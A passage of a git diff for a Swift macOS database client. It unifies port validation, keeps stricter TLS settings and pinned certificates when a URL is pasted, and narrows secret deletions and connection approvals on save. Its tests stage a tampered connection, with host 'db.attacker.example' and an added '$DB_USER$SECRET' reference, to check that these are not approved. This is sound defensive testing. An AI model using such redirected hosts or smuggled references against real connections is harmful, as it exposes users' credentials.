a/apple/TablePro/Views/ConnectionForm/Engine/ConnectionDraft+Transports.swift b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionDraft+Transports.swift index c714cbe428..9a0586d6ca 100644 --- a/apple/TablePro/Views/ConnectionForm/Engine/ConnectionDraft+Transports.swift +++ b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionDraft+Transports.swift @@ -49,7 +49,7 @@ struct SSHDraft: Equatable, Sendable { SSHConfiguration( enabled: enabled, host: host, - port: Int(port), + port: ConnectionEditorEngine.parsePort(port), username: username, authMethod: authMethod, privateKeyPath: privateKeyPath, @@ -99,7 +99,7 @@ struct CloudflareDraft: Equatable, Sendable { var configuration: CloudflareConfiguration { CloudflareConfiguration( accessHostname: accessHostname.trimmingCharacters(in: .whitespacesAndNewlines), - localPort: automaticPort ? nil : Int(localPort), + localPort: automaticPort ? nil : ConnectionEditorEngine.parsePort(localPort), authMethod: authMethod, exposeToLAN: exposeToLAN, binaryPath: binaryPath.trimmingCharacters(in: .whitespacesAndNewlines) @@ -132,7 +132,7 @@ struct CloudSQLProxyDraft: Equatable, Sendable { authMode: authMode, useIAMAuth: useIAMAuth, usePrivateIP: usePrivateIP, - localPort: automaticPort ? nil : Int(localPort), + localPort: automaticPort ? nil : ConnectionEditorEngine.parsePort(localPort), binaryPath: binaryPath.trimmingCharacters(in: .whitespacesAndNewlines) ) } @@ -161,7 +161,7 @@ struct SOCKSProxyDraft: Equatable, Sendable { var configuration: SOCKSProxyConfiguration { SOCKSProxyConfiguration( host: host.trimmingCharacters(in: .whitespacesAndNewlines), - port: Int(port.trimmingCharacters(in: .whitespacesAndNewlines)) ?? 1_080, + port: ConnectionEditorEngine.parsePort(port) ?? 1_080, username: username.trimmingCharacters(in: .whitespacesAndNewlines) ) } diff --git a/apple/TablePro/Views/ConnectionForm/Engine/ConnectionDraft+URLImport.swift b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionDraft+URLImport.swift index 955636dd3b..bf25a5d683 100644 --- a/apple/TablePro/Views/ConnectionForm/Engine/ConnectionDraft+URLImport.swift +++ b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionDraft+URLImport.swift @@ -168,12 +168,29 @@ extension ConnectionDraft { if let serviceName = parsed.oracleServiceName, !serviceName.isEmpty { fieldValues["oracleServiceName"] = serviceName } - let refused = ConnectionFormEdits.appManagedAdditionalFieldIDs + var refused = ConnectionFormEdits.appManagedAdditionalFieldIDs + if !isNew { + refused.formUnion(driverTLSFieldIdsKept(against: parsed, traits: traits)) + } for (fieldId, value) in parsed.additionalFields where !refused.contains(fieldId) { fieldValues[fieldId] = value } } + // A driver's own TLS mode, and the fields shown only for one of its modes (a CA file, a pinned fingerprint), change + // only when the URL asks for a stricter mode. + private func driverTLSFieldIdsKept(against parsed: ParsedConnectionURL, traits: ConnectionTypeTraits) -> Set { + var kept: Set = [] + for field in traits.fields where DriverTLSMode.isModeField(field) { + let current = DriverTLSMode.strictness(of: ConnectionEditorEngine.value(of: field, in: self)) + let pasted = parsed.additionalFields[field.id].flatMap(DriverTLSMode.strictness(of:)) + if let current, let pasted, pasted > current { continue } + kept.insert(field.id) + kept.formUnion(traits.fields.filter { $0.visibleWhen?.fieldId == field.id }.map(\.id)) + } + return kept + } + private mutating func applyEngineFields(_ parsed: ParsedConnectionURL, traits: ConnectionTypeTraits) { switch traits.pluginTypeId { case "libSQL" where !parsed.host.isEmpty: @@ -249,3 +266,24 @@ extension ConnectionDraft { return changes } } + +// PluginKit has no marker for a TLS field, so a driver's TLS mode is the dropdown whose every option is named for an SSL +// mode, as etcd's and DuckDB's are. A pinned certificate trusts one key only, so it ranks above Verify Identity. +enum DriverTLSMode { + static func strictness(of value: String) -> Int? { + switch value.lowercased().filter(\.isLetter) { + case "disabled", "disable", "off": return 0 + case "automatic", "auto", "allow", "prefer", "preferred": return 1 + case "required", "require": return 2 + case "verifyca": return 3 + case "verifyidentity", "verifyfull": return 4 + case "verifyfingerprint": return 5 + default: return nil + } + } + + static func isModeField(_ field: ConnectionField) -> Bool { + guard case .dropdown(let options) = field.fieldType, !options.isEmpty else { return false } + return options.allSatisfy { strictness(of: $0.value) != nil } + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine+Edits.swift b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine+Edits.swift index aa81cc4d25..a3ca4e5013 100644 --- a/apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine+Edits.swift +++ b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine+Edits.swift @@ -39,6 +39,10 @@ extension ConnectionEditorEngine { let draft = normalized(draft, traits) let secretIds = secretFieldIds(traits, originalTraits: originalTraits) var fields = draft.fieldValues.filter { !secretIds.contains($0.key) } + // Validation reads a number field trimmed, so the driver gets the number it approved. + for field in traits.fields where field.fieldType.integerEntryRange != nil { + fields[field.id] = fields[field.id].map { $0.trimmingCharacters(in: .whitespacesAndNewlines) } + } let forwardSocket = draft.sshForwardUnixSocketPath.trimmingCharacters(in: .whitespaces) if draft.transport == .ssh, !forwardSocket.isEmpty { diff --git a/apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine+Issues.swift b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine+Issues.swift index 6095af8c76..0449bd2f11 100644 --- a/apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine+Issues.swift +++ b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine+Issues.swift @@ -108,6 +108,9 @@ extension ConnectionEditorEngine { } if let rangeIssue = field.rangeIssue(in: draft.fieldValues[field.id] ?? "") { pending.append(PendingIssue(row: row, message: rangeIssue)) + } else if field.id == traits.serverEndpointFields?.portFieldId, + let portIssue = portIssue(draft.fieldValues[field.id] ?? "") { + pending.append(PendingIssue(row: row, message: portIssue)) } case .loadableExtensions: let extensions = (try? LoadableExtensionList.decode(draft.fieldValues[field.id])) ?? [] @@ -206,14 +209,21 @@ extension ConnectionEditorEngine { fallbackRow: .builtIn(.sshConfigHost) )) } - if !draft.ssh.port.isEmpty, parsePort(draft.ssh.port) == nil { - pending.append(PendingIssue(row: .builtIn(.sshPort), message: portRangeMessage)) + if let issue = portIssue(draft.ssh.port) { + pending.append(PendingIssue(row: .builtIn(.sshPort), message: issue)) } - for (index, jumpHost) in draft.ssh.jumpHosts.enumerated() where !jumpHost.isValid { + for (index, jumpHost) in draft.ssh.jumpHosts.enumerated() { let number = Int64(index + 1) - let message = jumpHost.host.isEmpty - ? String(format: String(localized: "Enter the address of jump host %lld."), number) - : String(format: String(localized: "Choose a key file for jump host %lld."), number) + let message: String + if jumpHost.host.isEmpty { + message = String(format: String(localized: "Enter the address of jump host %lld."), number) + } else if !jumpHost.isValid { + message = String(format: String(localized: "Choose a key file for jump host %lld."), number) + } else if let port = jumpHost.port, !portRange.contains(port) { + message = portRangeMessage + } else { + continue + } pending.append(PendingIssue(row: .builtIn(.jumpHost(jumpHost.id)), message: message)) } case .unresolvedProfile: diff --git a/apple/TablePro/Views/ConnectionForm/Engine/SecretWritePlan.swift b/apple/TablePro/Views/ConnectionForm/Engine/SecretWritePlan.swift index 1240549565..2665834d83 100644 --- a/apple/TablePro/Views/ConnectionForm/Engine/SecretWritePlan.swift +++ b/apple/TablePro/Views/ConnectionForm/Engine/SecretWritePlan.swift @@ -37,6 +37,19 @@ struct SecretWritePlan: Equatable, Sendable { func writes(of item: Item) -> String? { writes.first { $0.item == item }?.value } + + enum Disposition: Equatable { + case untouched + case write(String) + case delete + } + + // A delete after the record runs last, and a write cancels a staged delete of the same key. + func disposition(of item: Item) -> Disposition { + if deletesAfterRecord.contains(item) { return .delete } + if let value = writes(of: item) { return .write(value) } + return stagedDeletes.contains(item) ? .delete : .untouched + } } extension ConnectionEditorEngine { @@ -121,6 +134,74 @@ extension ConnectionEditorEngine { return plan } + // Save onto a stored record. The draft's own plan deletes every secret its settings leave out, and those settings + // may be stale: a delete stands only where this editor changed the secret or what owns it since `baseline`, and + // the merged record keeps no use for it. + static func secretPlan( + _ draft: ConnectionDraft, + _ traits: ConnectionTypeTraits, + originalTraits: ConnectionTypeTraits?, + _ context: EditorContext, + since baseline: ConnectionDraft, + mergedInto merged: DatabaseConnection + ) -> SecretWritePlan { + let mine = secretPlan(draft, traits, originalTraits: originalTraits, context) + let baselineTraits = baseline.type == traits.type ? traits : originalTraits ?? traits + let before = secretPlan(baseline, baselineTraits, originalTraits: originalTraits, context) + let draft = normalized(draft, traits) + func stands(_ item: SecretWritePlan.Item) -> Bool { + guard mine.disposition(of: item) != before.disposition(of: item) else { return false } + return secretValue(item, in: draft).isEmpty || !record(merged, uses: item) + } + var plan = mine + plan.stagedDeletes = mine.stagedDeletes.filter(stands) + plan.deletesAfterRecord = mine.deletesAfterRecord.filter(stands) + return plan + } + + static func secretValue(_ item: SecretWritePlan.Item, in draft: ConnectionDraft) -> String { + switch item { + case .password: return draft.credentials.password + case .sshPassword: return draft.ssh.password + case .sshKeyPassphrase: return draft.ssh.keyPassphrase + case .totpSecret: return draft.ssh.totpSecret + case .sslClientKeyPassphrase: return draft.ssl.clientKeyPassphrase + case .cloudflareTokenId: return draft.cloudflare.serviceTokenId + case .cloudflareTokenSecret: return draft.cloudflare.serviceTokenSecret + case .cloudSQLServiceAccountKey: return draft.cloudSQLProxy.serviceAccountKeyJSON + case .socksPassword: return draft.socksProxy.password + case .pluginField(let fieldId): return draft.fieldValues[fieldId] ?? "" + } + } + + // Whether a stored record still has a place for the secret, whatever value it holds. + static func record(_ record: DatabaseConnection, uses item: SecretWritePlan.Item) -> Bool { + switch item { + case .password: + return record.credentialMode.profileId == nil && !record.promptForPassword + case .pluginField: + return record.credentialMode.profileId == nil + case .sshPassword, .sshKeyPassphrase, .totpSecret: + guard case .inline(let config) = record.sshTunnelMode else { return false } + switch item { + case .sshPassword: return config.authMethod == .password || config.authMethod == .keyboardInteractive + case .sshKeyPassphrase: return config.authMethod == .privateKey + default: return config.totpMode == .autoGenerate + } + case .sslClientKeyPassphrase: + return !record.sslConfig.clientKeyPath.trimmingCharacters(in: .whitespaces).isEmpty + case .cloudflareTokenId, .cloudflareTokenSecret: + guard case .inline(let config) = record.cloudflareTunnelMode else { return false } + return config.authMethod == .serviceToken + case .cloudSQLServiceAccountKey: + guard case .inline(let config) = record.cloudSQLProxyMode else { return false } + return config.authMode == .serviceAccountKey + case .socksPassword: + guard case .inline = record.socksProxyMode else { return false } + return true + } + } + // A profile this Mac cannot resolve keeps its link and every secret: nothing here may convert or clear it. private static func planSSHSecrets(_ draft: ConnectionDraft, _ context: EditorContext, into plan: inout SecretWritePlan) { switch sshResolution(draft, context) { diff --git a/apple/TablePro/Views/ConnectionForm/Facets/SSHAndProxiesJumpHostRows.swift b/apple/TablePro/Views/ConnectionForm/Facets/SSHAndProxiesJumpHostRows.swift index 46d86990cf..1ba9530374 100644 --- a/apple/TablePro/Views/ConnectionForm/Facets/SSHAndProxiesJumpHostRows.swift +++ b/apple/TablePro/Views/ConnectionForm/Facets/SSHAndProxiesJumpHostRows.swift @@ -59,8 +59,9 @@ private struct SSHAndProxiesJumpHostSection: View { .onEditorFocusRequest(row, store: store, perform: focusMissingField) TextField(text: portText, prompt: Text(verbatim: "22")) { - Text(String(localized: "Port")) + label(String(localized: "Port"), for: .port) } + .focused($focusedField, equals: .port) .accessibilityIdentifier("\(identifier)-port") TextField(text: jumpHost.username, prompt: Text(verbatim: "admin")) { diff --git a/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Edits.swift b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Edits.swift index 8018445ee5..88d681c8c4 100644 --- a/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Edits.swift +++ b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Edits.swift @@ -212,7 +212,7 @@ extension ConnectionEditorStore { return SSHProfile( name: "", host: ssh.host, - port: Int(ssh.port), + port: ConnectionEditorEngine.parsePort(ssh.port), username: ssh.username, authMethod: ssh.authMethod, privateKeyPath: ssh.privateKeyPath, diff --git a/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Load.swift b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Load.swift index cd309412c8..ab15f1e104 100644 --- a/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Load.swift +++ b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Load.swift @@ -44,6 +44,7 @@ extension ConnectionEditorStore { loadedSecrets = reads.loaded draft = ConnectionDraft.loaded(from: record, secrets: secrets, traits: traits) baseline = draft + loadedRecord = record baselineEdits = ConnectionEditorEngine.edits(draft, traits, originalTraits: originalTraits, context) dirtyBaseline = dirtyFingerprint() } diff --git a/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+SSHAndProxies.swift b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+SSHAndProxies.swift index f7951c5acb..7b8f298b61 100644 --- a/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+SSHAndProxies.swift +++ b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+SSHAndProxies.swift @@ -9,6 +9,7 @@ import TableProSSHConfig enum JumpHostField: Hashable { case host + case port case keyFile } @@ -31,6 +32,7 @@ extension ConnectionEditorStore { guard let hop = draft.ssh.jumpHosts.first(where: { $0.id == id }) else { return nil } if hop.host.isEmpty { return .host } if hop.authMethod == .privateKey, hop.privateKeyPath.isEmpty { return .keyFile } + if let port = hop.port, !ConnectionEditorEngine.portRange.contains(port) { return .port } return nil } } diff --git a/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Save.swift b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Save.swift index 824c1c394c..a7e927f514 100644 --- a/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Save.swift +++ b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Save.swift @@ -44,21 +44,22 @@ extension ConnectionEditorStore { @discardableResult func save(connect: Bool = false) -> Result { revealAllIssues() - let result = performSave() - switch result { - case .success(let record): + switch performSave() { + case .success(let saved): saveError = nil - finishSave(record, connect: connect) + finishSave(saved.record, reviewed: saved.reviewed, connect: connect) + return .success(saved.record) case .failure(let error): saveError = error if case .invalid(let issue) = error { focus(on: issue) } + return .failure(error) } - return result } - private func performSave() -> Result { + // `reviewed` is the record as this window showed it: the draft's edits over the record it loaded. + private func performSave() -> Result<(record: DatabaseConnection, reviewed: DatabaseConnection), ConnectionEditorSaveError> { if let issue = firstBlockingIssue { return .failure(.invalid(issue)) } @@ -74,18 +75,25 @@ extension ConnectionEditorStore { let saving = ConnectionEditorEngine.normalized(draft, traits) let edits = ConnectionEditorEngine.edits(saving, traits, originalTraits: originalTraits, context) var record: DatabaseConnection + let reviewed: DatabaseConnection + let plan: SecretWritePlan if let existingIndex { let fresh = connections[existingIndex] record = edits.applied(to: fresh, since: baselineEdits) if fresh.groupId != record.groupId { record.sortOrder = ConnectionStorage.nextSortOrder(in: connections, groupId: record.groupId) } + reviewed = edits.applied(to: loadedRecord ?? fresh, since: baselineEdits) + plan = ConnectionEditorEngine.secretPlan( + saving, traits, originalTraits: originalTraits, context, since: baseline, mergedInto: record + ) } else { record = edits.applied(to: DatabaseConnection(id: connectionId, name: "")) record.sortOrder = ConnectionStorage.nextSortOrder(in: connections, groupId: record.groupId) + reviewed = record + plan = ConnectionEditorEngine.secretPlan(saving, traits, originalTraits: originalTraits, context) } - let plan = ConnectionEditorEngine.secretPlan(saving, traits, originalTraits: originalTraits, context) let staged = storage.stagingSecretEdits( for: connectionId, deviceOnly: !record.participatesInSync, @@ -99,6 +107,8 @@ extension ConnectionEditorStore { deleteSecret(item, for: connectionId) } } + // The Keychain may hold this attempt's values now, whether or not the record saves. + loadedSecrets = [:] guard !staged.writeFailed else { if existingIndex == nil { removeEverySecret(for: connectionId) @@ -122,15 +132,16 @@ extension ConnectionEditorStore { for item in plan.deletesAfterRecord { deleteSecret(item, for: connectionId) } - return .success(record) + return .success((record, reviewed)) } - private func finishSave(_ record: DatabaseConnection, connect: Bool) { - approveSavedDefinition(record) + private func finishSave(_ record: DatabaseConnection, reviewed: DatabaseConnection, connect: Bool) { + approveSavedDefinition(record, reviewed: reviewed) if !record.localOnly { services.syncTracker.markDirty(.connection, id: record.id.uuidString) } baseline = draft + loadedRecord = record baselineEdits = ConnectionEditorEngine.edits(draft, traits, originalTraits: originalTraits, context) dirtyBaseline = dirtyFingerprint() hasUnsavedChanges = false @@ -142,11 +153,12 @@ extension ConnectionEditorStore { } } - // A save is the person's word that this Mac's references and sign-in go where the form shows. - private func approveSavedDefinition(_ connection: DatabaseConnection) { + // A save is the person's word for what the form showed: a destination or reference another writer added while it + // was open still asks at connect. + private func approveSavedDefinition(_ connection: DatabaseConnection, reviewed: DatabaseConnection) { LoadableExtensionApprovalStore.shared.approve(editedExtensions, for: connection.id) - for store in ConnectionApprovalStore.all { - store.approve(connection) + for store in approvalStores { + store.approve(connection, asReviewed: reviewed) } } diff --git a/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore.swift b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore.swift index 6c364e5369..5f22b69794 100644 --- a/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore.swift +++ b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore.swift @@ -49,6 +49,7 @@ final class ConnectionEditorStore: ObservableObject { let listPreferences: ConnectionListPreferences let cloudSQLProxyDownload: CloudSQLProxyDownload let managedPolicy: any ManagedPolicyReading + let approvalStores: [ConnectionApprovalStore] // Written only through update(_:), the edit methods and the binding helpers, which keep everything below in step. @Published var draft: ConnectionDraft @@ -87,6 +88,7 @@ final class ConnectionEditorStore: ObservableObject { // Fixed at load: the merge's base. A connectionUpdated event never moves it. var baseline: ConnectionDraft var baselineEdits: ConnectionFormEdits? + var loadedRecord: DatabaseConnection? var originalTraits: ConnectionTypeTraits? var dirtyBaseline: ConnectionEditorEngine.TestFingerprint? @@ -119,13 +121,15 @@ final class ConnectionEditorStore: ObservableObject { recentConnections: RecentConnectionsStore = .shared, listPreferences: ConnectionListPreferences = .shared, cloudSQLProxyDownload: CloudSQLProxyDownload = .shared, - managedPolicy: any ManagedPolicyReading = ManagedPolicyReader.shared + managedPolicy: any ManagedPolicyReading = ManagedPolicyReader.shared, + approvalStores: [ConnectionApprovalStore] = ConnectionApprovalStore.all ) { self.services = services self.recentConnections = recentConnections self.listPreferences = listPreferences self.cloudSQLProxyDownload = cloudSQLProxyDownload self.managedPolicy = managedPolicy + self.approvalStores = approvalStores let initialType: DatabaseType switch request { diff --git a/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionDraftURLImportTests.swift b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionDraftURLImportTests.swift index 9d2d6e0d31..97b14be20f 100644 --- a/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionDraftURLImportTests.swift +++ b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionDraftURLImportTests.swift @@ -71,6 +71,43 @@ struct ConnectionDraftURLImportTests { #expect(draft.host == "db2.example.com") } + @Test("A paste into a saved etcd connection keeps its TLS verification, and a stricter URL still raises it") + func existingEtcdKeepsTLSVerification() throws { + let etcd = traits(.etcd) + var draft = ConnectionDraft.new(type: .etcd, traits: etcd) + draft.fieldValues["etcdTlsMode"] = "VerifyIdentity" + draft.apply(try parse("etcd://etcd2.example.com:2379"), traits: etcd, policy: .existingConnection) + #expect(draft.fieldValues["etcdTlsMode"] == "VerifyIdentity") + #expect(draft.host == "etcd2.example.com") + + draft.fieldValues["etcdTlsMode"] = "Required" + draft.apply(try parse("etcds://etcd2.example.com:2379?sslmode=verify-full"), traits: etcd, policy: .existingConnection) + #expect(draft.fieldValues["etcdTlsMode"] == "VerifyIdentity") + + var fresh = ConnectionDraft.new(type: .etcd, traits: etcd) + fresh.fieldValues["etcdTlsMode"] = "VerifyIdentity" + fresh.apply(try parse("etcd://etcd2.example.com:2379"), traits: etcd, policy: .newConnection) + #expect(fresh.fieldValues["etcdTlsMode"] == "Disabled") + } + + @Test("A paste into a saved DuckDB connection keeps its pinned certificate") + func existingDuckDBKeepsPin() throws { + let duckdb = traits(.duckdb) + var draft = ConnectionDraft.new(type: .duckdb, traits: duckdb) + draft.fieldValues["duckdbMode"] = "remote" + draft.fieldValues["duckdbHost"] = "quack.example.com" + draft.fieldValues["duckdbSSLMode"] = "verifyFingerprint" + draft.fieldValues["duckdbCertificateFingerprint"] = "AB:CD:EF" + + for url in ["quack://quack2.example.com:9494/remotedb", "quack://quack2.example.com:9494/remotedb?sslmode=verify-full"] { + var pasted = draft + pasted.apply(try parse(url), traits: duckdb, policy: .existingConnection) + #expect(pasted.fieldValues["duckdbSSLMode"] == "verifyFingerprint", "\(url)") + #expect(pasted.fieldValues["duckdbCertificateFingerprint"] == "AB:CD:EF", "\(url)") + #expect(pasted.fieldValues["duckdbHost"] == "quack2.example.com", "\(url)") + } + } + @Test("A paste into a saved connection adds no raw driver options") func existingConnectionGetsNoRawOptions() throws { let mongo = traits(.mongodb) diff --git a/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineTransportIssueTests.swift b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineTransportIssueTests.swift index 7f8c217e19..eeb2b66e7e 100644 --- a/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineTransportIssueTests.swift +++ b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineTransportIssueTests.swift @@ -266,4 +266,94 @@ struct ConnectionEditorEngineTransportIssueTests { #expect(traits(.postgresql).defaultUnixSocketPath == "/var/run/postgresql/.s.PGSQL.5432") #expect(traits(.clickhouse).defaultUnixSocketPath == nil) } + + // MARK: - One port parser + + @Test("A padded SSH port passes validation and is the port Test and Save dial") + func paddedSSHPortIsDialed() { + var draft = draft(.postgresql, transport: .ssh) + draft.ssh.host = "bastion.example.com" + draft.ssh.port = " 2222 " + #expect(messages(draft, on: .sshPort).isEmpty) + #expect(draft.ssh.inlineConfiguration(enabled: true).port == 2_222) + let edits = ConnectionEditorEngine.edits(draft, traits(.postgresql), originalTraits: nil, EditorContext()) + #expect(edits.sshConfig.port == 2_222) + + draft.ssh.port = " " + #expect(messages(draft, on: .sshPort).isEmpty) + #expect(draft.ssh.inlineConfiguration(enabled: true).port == nil) + } + + @Test("A padded Cloudflare local port passes validation and is the port the tunnel binds") + func paddedCloudflarePortIsUsed() { + var draft = draft(.postgresql, transport: .cloudflare) + draft.cloudflare.accessHostname = "db.example.com" + draft.cloudflare.automaticPort = false + draft.cloudflare.localPort = " 5433 " + #expect(messages(draft, on: .cloudflareLocalPort).isEmpty) + #expect(draft.cloudflare.configuration.localPort == 5_433) + } + + @Test("A padded Cloud SQL local port passes validation and is the port the proxy binds") + func paddedCloudSQLPortIsUsed() { + var draft = draft(.postgresql, transport: .cloudSQLProxy) + draft.cloudSQLProxy.instanceConnectionName = "p:r:i" + draft.cloudSQLProxy.automaticPort = false + draft.cloudSQLProxy.localPort = " 5434 " + #expect(messages(draft, on: .cloudSQLLocalPort).isEmpty) + #expect(draft.cloudSQLProxy.configuration.localPort == 5_434) + } + + @Test("A padded SOCKS port passes validation and is the port the proxy dials") + func paddedSOCKSPortIsUsed() { + var draft = draft(.postgresql, transport: .socksProxy) + draft.socksProxy.host = "proxy.example.com" + draft.socksProxy.port = " 1081 " + #expect(messages(draft, on: .socksPort).isEmpty) + #expect(draft.socksProxy.configuration.port == 1_081) + } + + @Test("A padded database port passes validation and is the port saved") + func paddedDatabasePortIsSaved() { + var draft = draft(.postgresql, transport: nil) + draft.portText = " 6543 " + #expect(ConnectionEditorEngine.issues(draft, traits(.postgresql), EditorContext()).allSatisfy { $0.row != .builtIn(.port) }) + #expect(ConnectionEditorEngine.edits(draft, traits(.postgresql), originalTraits: nil, EditorContext()).port == 6_543) + } + + @Test("A jump host port outside 1 to 65535 blocks Save on that hop") + func jumpHostPortRange() { + var draft = draft(.postgresql, transport: .ssh) + draft.ssh.host = "bastion.example.com" + let hop = SSHJumpHost(host: "jump.example.com", port: 70_000, username: "ops") + draft.ssh.jumpHosts = [hop] + let issues = transportIssues(draft).filter { $0.row == .builtIn(.jumpHost(hop.id)) } + #expect(issues.map { $0.message } == [ConnectionEditorEngine.portRangeMessage]) + #expect(issues.allSatisfy { $0.blocksSave }) + + draft.ssh.jumpHosts[0].port = 0 + #expect(!transportIssues(draft).filter { $0.row == .builtIn(.jumpHost(hop.id)) }.isEmpty) + + draft.ssh.jumpHosts[0].port = 2_222 + #expect(transportIssues(draft).isEmpty) + } + + @Test("A server port field takes the same range as Port, and a padded one is saved trimmed") + func serverEndpointPortField() { + let duckdb = traits(.duckdb) + var draft = ConnectionDraft.new(type: .duckdb, traits: duckdb) + draft.fieldValues["duckdbMode"] = "remote" + draft.fieldValues["duckdbHost"] = "quack.example.com" + draft.fieldValues["duckdbToken"] = "token" + draft.fieldValues["duckdbAlias"] = "remotedb" + let row = EditorRow.plugin(fieldID: "duckdbPort") + + draft.fieldValues["duckdbPort"] = "70000" + #expect(ConnectionEditorEngine.issues(draft, duckdb, EditorContext()).contains { $0.row == row }) + + draft.fieldValues["duckdbPort"] = " 9495 " + #expect(!ConnectionEditorEngine.issues(draft, duckdb, EditorContext()).contains { $0.row == row }) + let fields = ConnectionEditorEngine.edits(draft, duckdb, originalTraits: nil, EditorContext()).additionalFields + #expect(fields["duckdbPort"] == "9495") + } } diff --git a/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreFixture.swift b/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreFixture.swift index 2f8bc2c322..221bbe55b8 100644 --- a/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreFixture.swift +++ b/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreFixture.swift @@ -4,6 +4,7 @@ // import Foundation +import TableProConnectionLibrary @testable import TablePro @@ -71,6 +72,8 @@ final class ConnectionEditorStoreFixture { let recents: RecentConnectionsStore let listPreferences: ConnectionListPreferences let services: AppServices + let envVarApprovals: ConnectionApprovalStore + let localCredentialApprovals: ConnectionApprovalStore init() throws { directory = FileManager.default.temporaryDirectory @@ -93,6 +96,16 @@ final class ConnectionEditorStoreFixture { keychain: keychain, connectionStorage: storage ) + let sshProfiles = sshProfiles + let dialed: @MainActor (DatabaseConnection) -> ConnectionDestination = { connection in + sshProfiles.refreshingLinkedProfile(connection).destination + } + envVarApprovals = ConnectionApprovalStore( + kind: .envVarReferences, defaults: defaults, savedConnections: { [] }, dialedDestination: dialed + ) + localCredentialApprovals = ConnectionApprovalStore( + kind: .localCredentials, defaults: defaults, savedConnections: { [] }, dialedDestination: dialed + ) recents = RecentConnectionsStore(defaults: defaults, appEvents: events) listPreferences = ConnectionListPreferences(defaults: defaults, appEvents: events) let live = AppServices.live @@ -143,7 +156,8 @@ final class ConnectionEditorStoreFixture { services: services, recentConnections: recents, listPreferences: listPreferences, - managedPolicy: NoManagedPolicy() + managedPolicy: NoManagedPolicy(), + approvalStores: [envVarApprovals, localCredentialApprovals] ) } diff --git a/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreTests.swift b/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreTests.swift index f160160a18..e62fcefcf5 100644 --- a/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreTests.swift +++ b/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreTests.swift @@ -185,6 +185,135 @@ struct ConnectionEditorStoreTests { #expect(saved.host == "replica.example.com") } + @Test("A destination changed elsewhere while the editor is open is not approved by an unrelated Save") + func concurrentDestinationIsNotApproved() throws { + let fixture = try ConnectionEditorStoreFixture() + var connection = postgres() + connection.username = "$DB_USER" + fixture.seed([connection]) + let store = fixture.makeStore(.edit(connectionId: connection.id)) + + var elsewhere = try #require(fixture.storage.loadConnection(id: connection.id)) + elsewhere.host = "db.attacker.example" + fixture.seed([elsewhere]) + + store.update { $0.name = "Renamed" } + _ = try store.save().get() + let saved = try #require(fixture.storage.loadConnection(id: connection.id)) + #expect(saved.host == "db.attacker.example") + #expect(!fixture.envVarApprovals.isApproved(saved)) + } + + @Test("A variable reference added elsewhere while the editor is open is not approved by an unrelated Save") + func concurrentReferenceIsNotApproved() throws { + let fixture = try ConnectionEditorStoreFixture() + var connection = postgres() + connection.username = "$DB_USER" + fixture.seed([connection]) + let store = fixture.makeStore(.edit(connectionId: connection.id)) + + var elsewhere = try #require(fixture.storage.loadConnection(id: connection.id)) + elsewhere.username = "$DB_USER$SECRET" + fixture.seed([elsewhere]) + + store.update { $0.name = "Renamed" } + _ = try store.save().get() + let saved = try #require(fixture.storage.loadConnection(id: connection.id)) + #expect(saved.username == "$DB_USER$SECRET") + #expect(!fixture.envVarApprovals.isApproved(saved)) + } + + @Test("Saving a host change made in the editor approves the destination it shows") + func ownDestinationIsApproved() throws { + let fixture = try ConnectionEditorStoreFixture() + var connection = postgres() + connection.username = "$DB_USER" + fixture.seed([connection]) + let store = fixture.makeStore(.edit(connectionId: connection.id)) + + store.update { $0.host = "db2.example.com" } + _ = try store.save().get() + let saved = try #require(fixture.storage.loadConnection(id: connection.id)) + #expect(saved.host == "db2.example.com") + #expect(fixture.envVarApprovals.isApproved(saved)) + } + + @Test("A SOCKS proxy turned on elsewhere keeps its password through an unrelated Save") + func concurrentSOCKSKeepsItsPassword() throws { + let fixture = try ConnectionEditorStoreFixture() + 